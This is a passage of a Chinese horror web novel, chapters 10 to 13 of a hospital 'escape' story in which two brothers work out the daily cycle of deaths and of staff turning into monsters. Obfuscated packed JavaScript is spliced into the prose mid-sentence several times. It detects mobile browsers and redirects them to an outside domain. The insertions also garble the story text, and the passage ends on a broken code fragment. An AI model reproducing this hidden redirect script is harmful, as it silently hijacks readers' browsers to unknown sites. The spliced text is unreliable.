蔚迟和蔚远先在住院部绕了几圈,跟踪着护士把查房的路线大概搞清楚了。又去拍下了各个楼层的平面图,把病房号的位置和规律琢磨明白了。接着往门诊部走,蔚迟想再去看看大厅。 走过天桥,到了门诊部,似乎也一切如常。不知从什么时候开始,大多数公立医院便天天是这个人满为患的样子,每层楼的走廊上都挤满了人,片刻的空闲都不得有。 两人还要通过一条长长的走道,才能到围绕大厅的天井部分。 蔚远走在他前面半步,微微侧过头来和他说话:“哥……真的有路可以出去吗?” 我不知道。蔚迟心道。 他看了看蔚远:“有。” “你怎么知道呢?”蔚远说,“那万一、万一真的要死掉才能出去呢?” 他回头看他哥,却见他哥低下了头,陷入了沉默。在他以为他哥不会再说话的时候,他哥又把头抬了起来,看着他。他哥的眼睛像他婶婶,是尾端上挑的丹凤眼,看人的时候很容易显得凉薄,又仿佛胜券在握、洞明一切。 “这个世界上没有完美的体系、没有无法攻破的防火墙、没有永动机、没有一个绝对完美的圆、就连法老的金字塔都有一条建筑师留给自己逃生的暗道。”蔚迟说,“所以一定有路可以出去。” 蔚远吞了吞口水,又点了点头:“嗯。” 接着,他感觉自己被什么东西给绊了一下。 走廊上人流密集,他好容易才回头去看清楚了绊他的那个东西,登时吓得往后一跳,撞到了好几个人。那几个人都朝他丢来责备的目光,这些人里还包含了一个抱着一叠病例的小护士,却都仿佛看不到地上的那个东西。 ——那是一个没有心脏的死人。 蔚迟也看见了,停在了那个死人跟前。 蔚迟一停,跟在后面的人就被挡住了,发出不耐烦的“啧”声,绕开蔚迟、跨过尸体,走了。 蔚迟和蔚远对视一眼,想了想,道:“继续走,去看看大厅。” 两人花了将近十分钟终于挤出了那条走廊,能通过天井看到医院大厅,蔚远看得猛吸一口凉气——他昨天一直在住院部那边周旋,没看到大厅里的场景。 一楼大厅简直是一片人间地狱——横七竖八到处都是死人,血乱七八糟地溅了一地。他们从六楼往下看,看不清楚,但蔚远直觉这些人都没有心脏。大门处的血迹最多,呈放射状,但没有尸体,看起来很像……很像是人在这里直接从内部爆开了一样。 但大厅来来往往的人们神色如常,仿佛根本看不到这些恐怖景象,医生、护士、患者、家属在这些死状凄惨的尸体间穿行,像行走在泾渭分明的另一个世界。 蔚远的声音发着抖:“……他们看不见吗?” 蔚迟观察了一会儿,说:“下去看看。” “真的吗哥?”蔚远哭丧着脸,“我可能会吐。” 蔚迟没理他,找到楼梯往下走。走到三楼骨科的时候蔚迟觉得自己又看到了林富国,那老兄正抱着肚子在厕所门口排队,但没看清,仔细去看的时候就没看到了。 蔚远见他停下,问:“怎么了?” 蔚迟摇摇头:“没事。” 有可能只是看错了……但他没来由的有点在意。 两人走到一楼大厅,冲天的血腥味便扑面而来。蔚远好歹在卫校待了两年,到底没吐,还敢伸腿去碰一碰那些尸体:“是实体。” 两人又走到大门口观察地上的放射状血迹,有些内脏没碎干净,还零零散散地漂在血泊里。 蔚迟忽然听到有人叫他:“……蔚迟先生?” 他一回头就看到了刘琴和许白诗,但叫他的不是她俩,而是跟她们一起的另一个男生。男生眼睛亮晶晶的,又问了一遍:“请问您是蔚迟先生么?” “……你认识我?”蔚迟又看了一眼刘琴和许白诗,感觉她们并不认识自己,便又看回男生,想了想,没见过,不认识,这很确定。蔚迟记性很好,见过的人就不会再忘。 “是的!您在洛杉矶‘世界青少年生物编程竞赛’决赛夺冠的那场比赛,我在现场看过!”男生激动地说,“您好!我叫胡天奇,是您的粉丝!”他将手在裤子上抹了抹,“能跟您握个手吗?” 生物编程是现在非常前沿也非常小众的学科,蔚迟没想到会在这种情况下和自己的“粉丝”相见——他居然会有“粉丝”——一时也不知道该做什么反应,只能僵硬地跟胡天奇握了握手。 胡天奇夸张地捧着自己的手:“啊我摸到偶像的手了!我不洗这只手了!” 刘琴笑他:“你神经吧?” 蔚远在旁边一言难尽:“你们看不见吗?” 几个人都疑惑地看着他,许白诗细声细气问了一句:“什么?” 蔚远指着一地死人:“这些。” 几个人还是疑惑,许白诗又问了一遍:“什么?” 蔚迟把蔚远微微往后一拉,岔开话题道:“你们还是高中生?” 几人点点头,刘琴大方道:“我们马上就要毕业了,今天就是来拿核酸检测报告的,准备毕业旅行!” “嗯,挺好。”蔚迟看着胡天奇,“这个年纪,喜欢生物编程?” “喜欢!”胡天奇脸都有点红了,低头憋了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350152|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿,又抬起头跟蔚迟说:“能加您个微信吗?” 蔚迟说:“行啊。” 蔚远:“哥你搞什么?这里不是没网……”蔚迟曲起手肘碰了碰他,他就没再往下说。 胡天奇兴奋地掏出手机,蔚迟看了看上面的时间——16:11。 胡天奇不是活人,至少不是跟他们一样的活人。 当然不是。他在心里叹了一口气,许白诗和刘琴昨天就说过,和他们一起来的男生在遇到蔚迟他们之前就已经死了。现在连她们两个也不是活人了。 蔚迟装模作样掏出手机,捣鼓一阵,道:“不好意思,手机没话费……” 他感觉面前的光线——或者别的什么东西——变了一下,从手机屏幕抬起目光,眼前只有两个表情茫然的女孩。 他听到蔚远颤抖的声音:“哥……怎么回事?” 那个男孩就这么在他们面前消失了。 蔚迟咽了口唾沫,问刘琴和许白诗:“胡天奇呢?” 两个姑娘的表情都非常茫然:“不知道啊……” 蔚迟忽然转身朝楼上跑,蔚远叫着一叠声的“哥哥哥哥”追上去,就见他哥冲到二楼拐弯,径直往药房冲。 药房现在还在正常运行,患者在每个窗口都排了长队等着取药,取药的焦躁无聊,备药的忙忙碌碌,跟普通医院的普通的一天的普通景象根本没有区别。 蔚远跟着蔚迟一路挤着、钻着穿过人群,最后站到了药房正门口。药房里的灯光很亮,蔚远一眼就透过玻璃门看到了里面地上的一个死人,看穿着和相貌,分明就是早上他哥去套话的那个老兄,好像叫……叫林富国吧? 备药的医护人员在尸体旁边来来往往,但没有一个人注意到地上还躺着个人。 蔚远气还没喘匀,他哥又转身跑了,只能吭哧吭哧地跟上。 蔚远跟着他哥跑到四楼,只见他哥忽然跑到一个拐角处,蹲下身,又小心翼翼地直起来,往天井下面看。蔚远便也蹲到他哥旁边,谨慎地左看右看:“哥,怎么了吗?” 他哥问他:“你看清楚胡天奇怎么消失的了吗?” “我看着的,没发生什么……就感觉眨了下眼,他就不见了。”蔚远看着他哥蹙起的长眉,小声问,“到底怎么了?” 蔚迟想起刚刚在三楼厕所门口看到的林国富,分明也像胡天奇一样,眨眼就消失不见了,然后尸体出现在了药房——昨天周迎春杀死林富国的地方。昨天林国富是四点左右死的,刚刚消失的时间也差不多是四点。 而现在,蔚迟正蹲在昨天第一次往天井下面看的地方——就是刚和元祁去周迎春办公室搜刮了东西,跑回安全通道的时候,他没忍住往下面看了一眼的那个地方。 蔚迟的瞬时记忆很好,他记得昨天那触目惊心的一眼,记得非常多的细节。 现在,他从同样的楼层,同样的角度往下看——大厅里那些尸体的衣着、姿势、甚至血迹的形状,都和他记忆里的细节重合了。 他隐隐有了猜想,虽然还需要证实:“他们……在他们昨天死亡的时间点,死回了他们昨天的死亡地点!” 11. 市二院11 “他们……在他们昨天死亡的时间点,死回了他们昨天的死亡地点!” 话有点绕,蔚远想了老半天没有想清楚,就见蔚迟又蹦了起来,说:“先回去。” 蔚迟记得,昨天605的查房时间是16:45,就快到了。他得回去看看,那三个老头是以什么形式暴毙的。 两个人回到605的时候刚过四点半,几个人还坐在角落里等,元祁倒是在和老头们聊天,见到他们,很高兴地打招呼:“哥你们回来啦!” 胖老头朝他们身后看了看,问道:“诶你们家老头子呢?”这胖老头对别人家的老头非常感兴趣,他就想见见是什么老头能让这么大一票人这么围着孝顺。 蔚迟信口胡诌:“堵车了,还没到。” “又堵车。”胖老头嘟嘟囔囔,跟另两个老头说,“这年头见天的堵车!” 然后老头们又开始对市政交通问题发表看法、展开辩论。 张宇凡臭着一张脸问蔚迟:“所以呢?你们查到什么了吗?” “查到了。”蔚远从来也是个吃软不吃硬的主,张宇凡这厮一开口就叫他来气,转头就给怼回去,“就不告诉你!” 张宇凡:“你们凭什么不告诉大家?” 蔚远:“我们没有不告诉大家,我们就不告诉你!” “你!”张宇凡发现自己无赖,蔚远能比他更无赖,就转向蔚迟,“蔚迟,你们凭什么不分享信息?” 蔚迟看了张宇凡一眼,张宇凡觉得这一眼冷漠又轻蔑,还带着一丝微妙的疑惑,好像已经听到了蔚迟回答他“我们为什么要跟你分享信息?”但蔚迟说出口的话却是:“再等十五分钟,我需要确认一件事情。” 张宇凡还要再说,被李夏拉住了,冲他微微摇了摇头,见他不高兴,还亲了一下他的脸。 蔚远余光瞟到这一切,心里又在为李夏扼腕。挺好一姑娘,怎么就栽在了这么个垃圾身上? 蔚迟他们回来了,元祁便是有了娘的崽儿,什么烦恼也没了,抱着书包挨近蔚家兄弟俩,递了瓶水给蔚迟:“哥,喝水。” 蔚远在旁边道:“我也要喝。” 元祁:“等迟哥喝完。” 蔚迟喝了一口水,看了元祁一阵,说:“待会儿别害怕。” 元祁:“迟哥你们都在这儿,我什么都不怕。” 众人又在原地等了十几分钟,蔚迟注意着时间,到了四点四十五,但并没有发生什么事情,就听得张宇凡说:“时间到了,你确认到什么了请问?”蔚迟皱起眉瞥了他一眼,却听得李夏一声尖叫,指着床往后躲。 蔚迟便转回头来,见刚刚还正说到“我年轻那会儿第一次坐火车下乡”的胖老头已经端端正正躺在了床上,胸口一个血洞,满床是血。另外两个老头看着这一幕,表情茫然。 蔚迟反应过来,昨天那两个护士回去换塑料袋了,所以老头死得比预定的四点四十五分要晚一点。 下一刻,瘦老头也成了个这么端端正正躺着的死人。 又过了一分钟,眼镜老头也这么死了。 三具没了心脏的尸体血咕隆咚、直挺挺地躺在床上,像某种诡秘的仪式。 他们死的时候看起来没有任何外因,就上一秒还坐着,下一秒就已经躺平了,像拖了进度条的凶杀现场。 张宇凡一张脸扭曲得不行,说不清是气的还是骇的,气急败坏地朝蔚迟走来:“这就是你要确认的事情?” “那又怎么样?”其实蔚远也被吓得不轻,但对着张宇凡那张脸,便又觉得跟这傻逼一样害怕可太丢人了,站起来把朝他哥走过来的张宇凡拦住,“我们昨晚还就是跟这些东西睡的呢!” 元祁抱着蔚迟的胳膊缩在后面,虽然有蔚迟事先提醒,但他还是被吓坏了,不过昨天确实跟这样的尸体在一起呆了一下午,也就没有那么怕。他余光看到蹲在角落里一直没说话的胡凯吓得脸色惨白,缩成一团,心想这小混混连我都还不如呢,昨天大家都是一起蹲的死人房,还吓成这个怂样,丢人。 张宇凡和李夏还没有这么近距离接触过这样的死人,李夏过来拉着张宇凡的衣服抖个不停,张宇凡情绪濒临失控:“这究竟怎么回事?!” 蔚迟按了按太阳穴:“你先冷静一点。” 张宇凡咆哮:“这你叫我怎么冷静?!” 这时病房门忽然被推开,一个小护士站在门口,凶唧唧地说:“安静!” 所有人都停下一切动作看向她,病房里一时间落针可闻。 小护士没想到自己两个字有这么大的威力,忽然有点脸红,又补充了一句,但是显然有点中气不足,听起来有些色厉内茬的感觉:“安静一点!医院需要安静!” 蔚远道:“好的好的,我们小点声、小点声,对不起了呀小姐姐。” 护士瞄了他一眼,小声“嗯”了一下,转身走了。 她进来的那一下所有人都绷到了极限,这一走,氛围骤然松弛下来,甚至让人有种脱力感。李夏小声说:“……她看不见他们吗?” 刚刚小护士进来对床上的那三个死人视若无睹。 蔚迟说:“这就是我确认完之后,要跟你们说的事情。” “在那之前,张宇凡。”蔚迟看了一眼后背靠在墙上的男人,“你要是控制不住你的脾气,那我们也不敢和你们一起待着了。毕竟我们也是在努力逃命,不是做慈善来的。” 张宇凡没说话,李夏倒是有点着急:“迟哥,别、别啊……宇凡他就是有点急,没、没有坏心的。我以后一定叫他注意,绝对不会再发生这样的事了。” 蔚迟点点头,也不揪着这事多说,又把这一趟出去的发现讲清楚了。 元祁有点想不明白,他思考的时候喜欢把思考过程讲出来:“也就是说,现在有一部分人的时间是正常的时间——包括昨天死掉的人和变怪物的医生护士——他们不记得昨天发生的事情了,只有我们还记得,而我们的时间全部停在一点四十九。时间正常的人看不到死在昨天的人……所以说……所以说明……迟哥,说明什么啊?” 蔚迟也不知道说明什么,他隐隐有种感觉,快要接近真相,但又被什么绊住了。 李夏问:“那现在怎么办啊?” 蔚迟又翻了翻查房时间表,这间605今天的下一次查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350153|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房时间是六点,他想找个能看到这里查房情况的地方观察。 他翻了一下对面病房的查房时间,昨天是五点半,今天是六点四十五。 他说:“等到五点半,我们去对面看看。” 蔚远问:“为什么要等到五点半?” 蔚迟:“因为昨天对面的人是五点半死的。”到时候过去,就不用跟他们打招呼、编瞎话,也不用认识他们。 李夏小声问:“那我们就要一直和这些东西待在一起吗?” 蔚远欠欠道:“是啊,而且还要跟他们睡在一起。” 李夏抖了一下,提议:“要不我们躲去我和宇凡昨天躲的杂物间?” 其实蔚远也不想和这些死人待在一起,但自己也根本不指望自己拿主意,转头去看蔚迟。 蔚迟没有犹豫,摇摇头:“不是好办法,你们昨天不是被锁在里面了吗?万一这次没人开门呢?而且……我觉得,我们不能一味地躲。”他顿了一下,想到一个比方,“就像我们知道电脑里有病毒,我们就应该想办法把它们杀死,而不是关上电脑把病毒饿死。” 张宇凡插嘴道:“怎么杀得死?那些东西水火不侵的你又不是不知道,怎么杀得死?” “只是打一个比方——我们要找一条通路,就要去找,而不是等。”蔚迟说,“世界上的一切问题其实都是程序问题。” 没人说话了。 众人在605待到五点三十五,去了对面病房。对面病房是满员,四个人果然全都端端正正地死在了床上。 到了六点,蔚迟趴在窗洞上看完了对面605的查房过程——很正常,两个医生拿着记录表走进去,调了调每间床的输液吊瓶,然后对着门边墙上挂着的电子表,在记录表上写了什么,大概是在记录查房时间。 蔚远问:“现在又怎么办……” 蔚迟把查房时间表又拿出来翻了翻,他决定去一个能一直看到医护人员的地方,好观察她们会有什么变化、怎么变化。他选择了645病房,今天五点十五分刚查完一次房,下一次查房要到晚上十点,没记错的话,645病房正斜对着护士站。 其他人没有异议,又跟着他过去。645也是满员,人都死了。 蔚迟站在门口透过窗洞往外看,这间病房的位置很好,跟护士站中间的拐角旁边还放了一盆绿植作为遮挡。护士站有两个小护士,会笑眯眯地解答患者或家属的疑问,没人去问她们的时候她们俩就会做一些小游戏、一起玩手机。 蔚迟看着看着不免有点走神。 医院的晚班上班时间是晚上七点,如果事情没有什么变化的话,蔚迟打算晚一点去看看周迎春。 “哥……”蔚远十分钟之前凑过来跟他一起观察,这时候忽然很明显地一个颤栗,一下子揪住他的袖子,没揪好,揪到了他的肉,还有点疼。 但蔚迟没管。 他也看到了。 那两个小护士的皮肤在某一个瞬间齐齐变成了青色,她俩正在翻花绳,血红的绳子绷在一双青色的手上,分外刺眼。 蔚迟看了一眼墙上的电子表。 十九点整。 12. 市二院12 十九点整。护士又变回了那种东西。 蔚迟忽然想到,早上会不会也是七点整,医院恢复了正常呢? 蔚迟把护士又变回怪物的消息跟其他人说了,大家的脸色都显而易见的惨淡。 李夏被这些死人刺激得不轻,一直没怎么缓过来,这时候忽然崩溃了,哭起来:“到底是谁在做这种事啊……他到底要干什么啊……” 元祁本来绝望得想哭,哼唧了半天没哭出来,好像跟蔚迟待在一起久了,他都没办法一惊一乍了。他看着哭得梨花带雨的李夏,甚至被搞得有点烦:“姐姐,你先莫哭了……” 蔚迟倒是被李夏的话点到了。 ——“他”到底要干什么? 像蔚迟他们搞科研的,失败是家常便饭,能搞上去的都是铁打的大心脏——提出一个假设,用一百次一千次的实验去证明它,之前的九十九次、九百九十九次都是失败……而且没个底线,有的课题努力了几年却只能证明此路不通、只得全部推翻重来,连这种事情都是司空见惯。 他习惯了失败,习惯了思考,习惯了自己提问自己回答,习惯了寻找那条正确的通路。 他个人笃信这个世界上的一切问题都是程序问题,他并非不信鬼神,也并非信。在他看来,鬼神之类的超自然力量也就是某种人类还未破译的问题而已,是未知,他对未知保持敬畏,但这些未知的东西无法撼动他解决问题的方法。 他之前都一直沉浸在很小的角度,想着怎么出去,那如果看得更大一点呢?换个角度呢?不要从时间停止的、没头苍蝇一样的自身出发,而站到更高、更广阔的视角上去呢? 李夏那句“到底是谁在做这种事啊……他到底要干什么啊……”大概只是她在感到穷途末路时发出的无力的质问,既无逻辑,也无例证……但是如果真的有呢?假设有呢? 假设真的有这么一个幕后黑手呢?不一定是人,可能是什么外来文明,可能是鬼,可能是神。 ——他,或者她、它、祂……到底要干什么? ——他(她、它、祂)的目的是什么? ——从这个角度来推想呢? 蔚迟发现视角转换以后自己的思维开阔了许多,有很多事情都在他的脑海里串成了一条流线。如果“他”的目的是杀掉医院里的所有活人,那就没必要还准备一个安全的白天,还准备了一群“死而复生”的人来干扰杀戮;如果“他”的目的是看两方厮杀取乐,那就没必要把医护人员搞得不可战胜;如果“他”的目的是玩弄逃生者,看他们担惊受怕、给他们喘息的白天,那就没有必要让夜晚的怪物们还遵守逻辑…… 目前为止发生的事情,时间、不同的记忆、白天和夜晚……很像、很像……强硬地把两个世界拼合到了一起。 他意识到,到了晚上,昨天死掉的人又会变成死人,而医护人员又会变成怪物……狩猎剩下的活人。 到什么时候结束呢……到活人全部死掉? ——结果呢? 结果是死人都在白天变回没有恐怖记忆的人。 就像今天的林富国、许白诗、刘琴。 ——然后呢? 那经历了这些恐怖事件的人,又去了哪里? ——这么来看,他(她、它、祂)的目的是…… “迟哥。”元祁叫了蔚迟好几声,蔚迟都没有回应,就伸手扯了扯他的衣袖,“迟哥……你怎么了?” “我想明白了一件事。”蔚迟抹了一把脸,在众人期待的目光中坐直身体,道,“我们不能死,我们必须活着出去。” 蔚远张了张嘴,过了好几秒,还是说了出来:“这还用想?!” 他是真服了这些高材生。 蔚迟敲了一下他的脑袋:“你不想死,只是出于生物的求生本能,没有实证,这种本能是可以被攻破的。你敢说在发现‘死掉一次就可以回去’之后没有动摇过?这岂不是一个悖论——为了求生,选择去死——逻辑很容易崩盘,你也很可能真的去死。”蔚迟说,“但我说的‘不能死’不一样,是有严密论证逻辑的、可靠的结论——我们不能死,必须活着出去,至少要有一个人能活着出去。” 元祁问:“不然的话会怎么样?” 蔚迟想了想,说:“世界毁灭?” 众人都奇怪地看着他,看不出他是在开玩笑还是正经的。 蔚迟的表情没有变化,非常镇定:“嗯,就是这样,所以我们现在来想办法吧。” 夜幕降临,这个世界的最后一丝余晖落山了。 他们现在所在的645号病房,下一次查房时间是晚上十点,也就是说,只要他们不弄出什么惊动那些护士们的大动静的话,这间病房到十点都是安全的。 “不对。”蔚迟后背一毛,忽然想起一件事,万一那两个小护士跟昨天那两个一样,有人偷懒呢?一个人查房,一个人留在护士站,这样的话,他们现在这间房间就在护士站斜对面,到时候他们再想跑,一定会被护士站的那个护士发现,“我们得换一间房。” 幸好现在刚过七点,还没到护士们的偷懒时间。他们透过窗洞看到那两个青脸小护士拿着记录本一起去查房了,其中一个还带着一个塑料袋。 蔚远问:“现在走吗?” 蔚迟说:“等等。”他又对着查房时间表和楼层平面图,先确定了小护士们的查房路线,又规划出了一条逃生路线,最后选了一间下一次查房时间是晚上十二点的病房。 “走吧。”他说。 蔚迟的计划是先把晚上躲过,探索工作还是在白天完成。几个人跟着蔚迟跑到目标病房,路上果然没有出什么幺蛾子。这间房仍旧是满员,四个人死得整整齐齐。 众人在病房里各自找了个地方开始修整。 蔚远的充电宝也电量告急,还好元祁带了充电线,李夏也带了,试了一下,医院的插头还有电,于是几个人排着队充手机。元祁其实是个很和气的男孩子,看胡凯一直不怎么说话,主动说要帮胡凯充电,胡凯说系统不一样,拒绝了。元祁的是苹果线,李夏的是安卓线,元祁就让胡凯去李夏那儿充,胡凯还是说线不一样,没等元祁再说,蜷起身睡下了。 元祁有点奇怪,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350154|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天看到过胡凯的手机,不是什么小众的机型。 真是太孤僻了。他想。 蔚迟的手机被蔚远的充电宝喂饱了,他不用再去排充电线,独自坐到墙角按亮屏幕,时间仍然显示的是昨天的一点四十九。他点开微信,抱着试一试的心态又连着给纪惊蛰发了好几条消息,很遗憾,都没有发出去。 又晚了一点,趁着张宇凡去上厕所,蔚远跟蔚迟说了一声,从元祁那儿拿了一条巧克力给李夏。蔚远压低声音多了一句嘴:“我说这话你可能不爱听,你那男朋友,真不是什么好人。这个……你留着自己吃吧,怀着孕呐。” 李夏看了他一眼,很礼貌地说:“谢谢。” “废什么话?”等蔚远坐回蔚迟身边,蔚迟还在摆弄手机,头也没抬就说,“不知道的还以为你要撬墙角呢。” 蔚远暴躁地抓了抓头发:“我就见不得鲜花插到牛粪上。” 元祁在旁边颇有经验似的说:“鲜花愿意。你管得着吗?” 又是紧张刺激的一天,在逐渐深沉下去的夜色中,众人都慢慢睡了过去。 蔚迟没敢睡太沉,很容易就被那种细碎轻薄的脚步声吵醒了。 ……脚步声? 啪嗒啪塔啪塔—— 停在了他们这间病房门口。 他一瞬间冷汗就下来了。 ——怎么回事? 是睡过了?已经到十二点了? 他慢慢站起身,瞥了一眼脸旁边的电子表——21:03。 ——那是哪里出了问题? 门外的护士久无动作,没有敲门,也没有喊查房。 他屏息等待了片刻,听到了整理塑料袋的声音。 他呼出一口气,紧紧握拳,强迫自己镇定下来,缓缓伸直腿,站直了。他本来就贴在门后的墙角休息,这样站起来脸就贴在门洞的旁边。 伸头一刀缩头也是一刀,他慢慢贴近了门洞—— 看到了—— ……护士的后脑勺。 只见一个护士正侧身背对着站在他们门口,把手中的塑料袋抖好,然后蹲下了身,用手术刀在捣鼓什么东西,发出一种粘稠的、恐怖的声响。 蔚迟顺着看过去,看到了许白诗没了下巴的半张脸。 这间病房紧邻着一处拐角,蔚迟忽然想明白,脑海里的医院平面图掉了个方向——这个拐角转过去就是许白诗昨天死掉的地方。 昨天那两个护士还没来得及挖掉许白诗的心脏,就被那个神秘的东西砍了头。 所以今天她们来补挖? 过了两分钟,护士把一团鲜红的东西装进塑料袋,走了。 脚步声还没有完全消失,张宇凡忽然打出一声悠长的呼噜,蔚迟赶紧扑过去捂住了张宇凡的嘴。张宇凡被他捂醒了,正要叫骂,但看到他的表情,又安静了。 两个人在黑暗中等了一会儿,直到脚步声完全听不见。 蔚迟放开张宇凡,放松下来才感觉到自己一身冷汗。 但凡张宇凡这声呼噜再早打个半分钟,他们这一屋子的人都得玩完。 13. 市二院13 几个人都没敢睡沉,这一下基本所有人都醒了,也没敢再睡。 这间病房十二点会被查一次房。十一点左右的时候,众人跟着蔚迟换了一个房间,到早上七点都安全。 为了保存体力,就是怕也得睡。 元祁自告奋勇说守夜,让蔚迟休息,方便白天的探索工作。 蔚迟迷迷糊糊要睡着的时候听到张宇凡、李夏那边有窸窸窣窣撕包装袋的声音,还有小声的亲吻。 太安静了,让蔚迟把那对情侣咬耳朵的话都听了个清楚。 张宇凡问:“哪儿来的?” “嘘。”李夏说,“小点声。” “为什么?” “来。张嘴。” “你不吃点?” “我没胃口。” “到底哪儿来的?” “他们给的。” “谁?” “哎呀,蔚迟他们。” “操,他们有这东西不早点拿出来!” “嘘!” 看来蔚远的好心还是成了驴肝肺,那条巧克力全进了张宇凡的肚子。 蔚迟装作熟睡,翻了个身,背对着他们。 在这种情况下,正常人真的很难睡好,蔚迟枕在自己的胳膊上,感觉浑身发冷、太阳穴刺痛,一直处在半梦半醒之间。 感觉没睡一会儿就被叫醒,元祁的声音在发抖。 死人们跟昨天一样坐了起来。 蔚迟早就猜会这样,睡觉之前还给元祁打了预防针,元祁才能忍住没叫。 蔚迟坐起来拍了拍元祁的肩膀:“没事。” 他先去看了看电子表,凌晨四点,然后凑近仔细观察了一下坐起来了的死人。 这也是间满员病房,四个人脊背挺直,端端正正坐在床上,他们还是活人的时候大概没坐得这么直过。他们都双目紧闭,表情平静,就像是在睡觉一样。 蔚迟跟元祁说:“你睡一会儿,我来守着。” 元祁:“就这么睡?” 蔚迟:“那不然呢?我给你唱儿歌?” 蔚迟走到四间病床的正对面,靠墙坐好,方便观察他们每个人。 元祁踟蹰了片刻,心说这哪里睡得着啊,抱着小书包跑到蔚迟旁边去,挨着他坐下,没一会儿就睡着了。 五点多一点,李夏从一脚踏空的梦中醒来。 一睁眼就看到死人坐了起来,她睡在窗户边,这一眼望去将这四个排列整齐的死人看了个清楚。 她瞬间就不行了,梦都没梦到过这么恐怖的东西。她刚想叫,旁边忽然伸出一只手捂住了她的嘴。 她如坠冰窟,整个人疯狂地挣扎起来,一边掰捂住自己嘴的手,一边拽旁边熟睡的张宇凡。她全身的血液都冲到了皮肤表面,神经崩成一条细线,过了好一会儿,才能听到声音,意识到捂着自己的是蔚迟。 她刚刚翻身的时候蔚迟就意识到她要醒了,特地过来等着,防止她尖叫。 旁边张宇凡被拽醒了,看到蔚迟和李夏的姿势,顿时怒火中烧,刚要暴起,余光瞥到床上的死人,脱口而出:“卧槽!” 蔚迟真是一个头两个大,捂得住一个,捂不住另一个。 “嘘!”他按了按太阳穴,“闭嘴!” 张宇凡猛喘了一会儿,还是暴起了,一下子把蔚迟扑倒,抡拳就砸了上去,低吼道:“这都他妈的是什么东西?你就是想害死我们是不是?!” 蔚迟用小臂挡了两下,一膝盖顶到张宇凡的小腹上。张宇凡猝不及防,被顶开,顿时更怒,还要往蔚迟身上扑。李夏拼了命拉他:“宇凡!宇凡!你干什么呀?” 其他人也被吵醒了,有点弄不清状况,蔚远倒是在往这边来:“哥,怎么了?” 李夏拉不住张宇凡,张宇凡手用力一挥,把李夏甩开,再次骑到了蔚迟身上,挥拳砸向蔚迟的脸:“操!什么玩意儿!装什么逼?装什么逼?可给你能的!” 单论体型,蔚迟倒也不怕张宇凡,可一个科研生和体育生之间的差距还是挺明显的,蔚迟很挨了几拳。 李夏又扑上来:“算了!宇凡!算了!” 蔚远也要过来拉人,结果刚好被李夏挡住了,着急道:“张宇凡,你神经病吧?” 李夏再次被甩开,蔚远都被她撞倒了。 李夏好像摔到了脊椎,疼得一抽,蔚远爬起来扶了她一下,那一边张宇凡的动作也停了。 那混账还骑在他哥身上,蔚远走过去,揪住张宇凡后领:“喂!” 然后他惊讶地发现张宇凡在发抖。 蔚迟正用一根针筒抵着张宇凡的脖子,针头已经刺了半厘米进去。 “你要是嫌命太长,现在就可以去护士站,我告诉你怎么走。”蔚迟说,“或者你不想走过去也行,我现在免费送你走。” 张宇凡一动不敢动。他知道蔚迟配的毒药的功效,据说进入人体十五秒就能造成血栓,最多三十秒就能致死——虽然那女医生也没死,但他也不想自己去试。 “蔚迟……迟、迟哥。”张宇凡干巴巴地说,“我、我睡懵了,别,你别放在心上。” “我这个人不太有耐心。”蔚迟又按了按太阳穴,刚刚被张宇凡打到了,疼得更明显,好像还有点晕,心情相当不光明,“反正这里死人这么多,也没有人来管。” 张宇凡咽了口唾沫:“迟哥……” “迟、迟哥……求、求求你,宇凡他不是有意的……迟哥……迟哥。”李夏也爬过来,颤巍巍想来碰蔚迟的手,又不敢,哭哭啼啼道,“迟哥,你看在我肚子里的孩子的份上……” 蔚迟狠狠掐了一下太阳穴,待那阵眩晕平复一点,把针收起来,一脚将张宇凡踹开。 他爬起来,对其他人说:“换间房。” 几个人刚刚弄出的动静不小,这间房确实不能多待了,蔚迟带着人紧急转移了一间房。 进去一看,还是坐着的死人,张宇凡整个人惊恐、不安又憋屈,惊弓之鸟似的:“这、这些东西是怎么回事?我们就要跟这些东西待在一起?” “暂时没有发现危险。”蔚迟说,“我需要观察一下他们是怎么转变回活人的。” “我不待在这儿……”张宇凡牙齿打颤,虽然怕蔚迟,更怕这些死人,“我不待在这儿!” 蔚迟烦得不行:“那就滚。” 张宇凡的精神已经濒临崩溃,转身就走,开门的时候却发现李夏没有动,便回来拉她:“走啊!” “宇凡……”李夏挣扎了一下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 